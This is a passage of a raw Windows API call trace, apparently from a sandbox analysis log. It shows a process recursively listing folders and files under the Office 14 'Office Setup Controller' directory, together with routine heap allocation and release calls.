ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0219.059] GetProcessHeap () returned 0x560000 [0219.059] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.061] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.061] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0219.062] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.062] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0219.062] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.062] GetProcessHeap () returned 0x560000 [0219.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.062] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0219.063] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0219.063] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0219.063] GetProcessHeap () returned 0x560000 [0219.063] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.063] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.065] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.065] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0219.065] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.066] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0219.066] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.066] GetProcessHeap () returned 0x560000 [0219.066] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.066] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0219.066] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0219.067] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0219.067] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0219.067] GetProcessHeap () returned 0x560000 [0219.067] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.069] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.069] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0219.069] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.070] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0219.070] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.070] GetProcessHeap () returned 0x560000 [0219.070] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.070] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0219.070] GetProcessHeap () returned 0x560000 [0219.070] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.074] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.075] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0219.075] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.075] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0219.075] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.075] GetProcessHeap () returned 0x560000 [0219.075] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.076] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0219.076] GetProcessHeap () returned 0x560000 [0219.076] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.084] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.084] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0219.084] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0219.084] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0219.085] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.085] GetProcessHeap () returned 0x560000 [0219.085] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.085] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0219.085] GetProcessHeap () returned 0x560000 [0219.085] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0219.087] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.087] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0219.088] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0219.088] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0219.088] GetProcessHeap () returned 0x560000 [0219.088] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0219.088] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0219.088] GetProcessHeap () returned 0x560000 [0219.088] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0219.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, 